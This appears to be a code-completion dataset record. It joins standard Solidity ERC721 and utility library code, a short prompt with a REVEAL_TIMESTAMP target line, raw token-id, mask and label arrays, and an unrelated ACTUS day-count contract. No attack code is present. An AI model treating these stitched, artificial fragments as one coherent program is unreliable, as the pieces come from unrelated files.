/** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
14 days after release
uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + (86400 * 14);
13,383,520
[ 1, 3461, 4681, 1839, 3992, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 2438, 3412, 1013, 67, 17201, 273, 17127, 900, 67, 7570, 67, 17201, 397, 261, 28, 1105, 713, 380, 5045, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// "SPDX-License-Identifier: Apache-2.0" pragma solidity ^0.6.11; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/math/SignedSafeMath.sol"; import "../../external/BokkyPooBah/BokkyPooBahsDateTimeLibrary.sol"; import "../ACTUSTypes.sol"; import "../SignedMath.sol"; /** * @title DayCountConventions * @notice Implements various ISDA day count conventions as specified by ACTUS */ contract DayCountConventions { using SafeMath for uint; using SignedSafeMath for int; using SignedMath for int; /** * Returns the fraction of the year between two timestamps. */ function yearFraction( uint256 startTimestamp, uint256 endTimestamp, DayCountConvention ipdc, uint256 maturityDate ) internal pure returns (int256) { require(endTimestamp >= startTimestamp, "Core.yearFraction: START_NOT_BEFORE_END"); if (ipdc == DayCountConvention.AA) { return actualActual(startTimestamp, endTimestamp); } else if (ipdc == DayCountConvention.A360) { return actualThreeSixty(startTimestamp, endTimestamp); } else if (ipdc == DayCountConvention.A365) { return actualThreeSixtyFive(startTimestamp, endTimestamp); } else if (ipdc == DayCountConvention._30E360) { return thirtyEThreeSixty(startTimestamp, endTimestamp); } else if (ipdc == DayCountConvention._30E360ISDA) { return thirtyEThreeSixtyISDA(startTimestamp, endTimestamp, maturityDate); } else if (ipdc == DayCountConvention._28E336) { // not implemented yet revert("DayCountConvention.yearFraction: ATTRIBUTE_NOT_SUPPORTED."); } else { revert("DayCountConvention.yearFraction: ATTRIBUTE_NOT_FOUND."); } } /** * ISDA A/A day count convention */ function actualActual(uint256 startTime, uint256 endTime) internal pure returns (int256) { uint256 d1Year = BokkyPooBahsDateTimeLibrary.getYear(startTime); uint256 d2Year = BokkyPooBahsDateTimeLibrary.getYear(endTime); int256 firstBasis = (BokkyPooBahsDateTimeLibrary.isLeapYear(startTime)) ? 366 : 365; if (d1Year == d2Year) { return int256(BokkyPooBahsDateTimeLibrary.diffDays(startTime, endTime)).floatDiv(firstBasis); } int256 secondBasis = (BokkyPooBahsDateTimeLibrary.isLeapYear(endTime)) ? 366 : 365; int256 firstFraction = int256(BokkyPooBahsDateTimeLibrary.diffDays( startTime, BokkyPooBahsDateTimeLibrary.timestampFromDate(d1Year.add(1), 1, 1) )).floatDiv(firstBasis); int256 secondFraction = int256(BokkyPooBahsDateTimeLibrary.diffDays( BokkyPooBahsDateTimeLibrary.timestampFromDate(d2Year, 1, 1), endTime )).floatDiv(secondBasis); return firstFraction.add(secondFraction).add(int256(d2Year.sub(d1Year).sub(1))); } /** * ISDA A/360 day count convention */ function actualThreeSixty(uint256 startTime, uint256 endTime) internal pure returns (int256) { return (int256((endTime.sub(startTime)).div(86400)).floatDiv(360)); } /** * ISDA A/365-Fixed day count convention */ function actualThreeSixtyFive(uint256 startTime, uint256 endTime) internal pure returns (int256) { return (int256((endTime.sub(startTime)).div(86400)).floatDiv(365)); } /** * ISDA 30E/360 day count convention */ function thirtyEThreeSixty(uint256 startTime, uint256 endTime) internal pure returns (int256) { uint256 d1Day; uint256 d1Month; uint256 d1Year; uint256 d2Day; uint256 d2Month; uint256 d2Year; (d1Year, d1Month, d1Day) = BokkyPooBahsDateTimeLibrary.timestampToDate(startTime); (d2Year, d2Month, d2Day) = BokkyPooBahsDateTimeLibrary.timestampToDate(endTime); if (d1Day == 31) { d1Day = 30; } if (d2Day == 31) { d2Day = 30; } int256 delD = int256(d2Day).sub(int256(d1Day)); int256 delM = int256(d2Month).sub(int256(d1Month)); int256 delY = int256(d2Year).sub(int256(d1Year)); return ((delY.mul(360).add(delM.mul(30)).add(delD)).floatDiv(360)); } /** * ISDA 30E/360-ISDA day count convention */ function thirtyEThreeSixtyISDA(uint256 startTime, uint256 endTime, uint256 maturityDate) internal pure returns (int256) { uint256 d1Day; uint256 d1Month; uint256 d1Year; uint256 d2Day; uint256 d2Month; uint256 d2Year; (d1Year, d1Month, d1Day) = BokkyPooBahsDateTimeLibrary.timestampToDate(startTime); (d2Year, d2Month, d2Day) = BokkyPooBahsDateTimeLibrary.timestampToDate(endTime); if (d1Day == BokkyPooBahsDateTimeLibrary.getDaysInMonth(startTime)) { d1Day = 30; } if (!(endTime == maturityDate && d2Month == 2) && d2Day == BokkyPooBahsDateTimeLibrary.getDaysInMonth(endTime)) { d2Day = 30; } int256 delD = int256(d2Day).sub(int256(d1Day)); int256 delM = int256(d2Month).sub(int256(d1Month)); int256 delY = int256(d2Year).sub(int256(d1Year)); return ((delY.mul(360).add(delM.mul(30)).add(delD)).floatDiv(360)); } }
* ISDA 30E/360 day count convention/
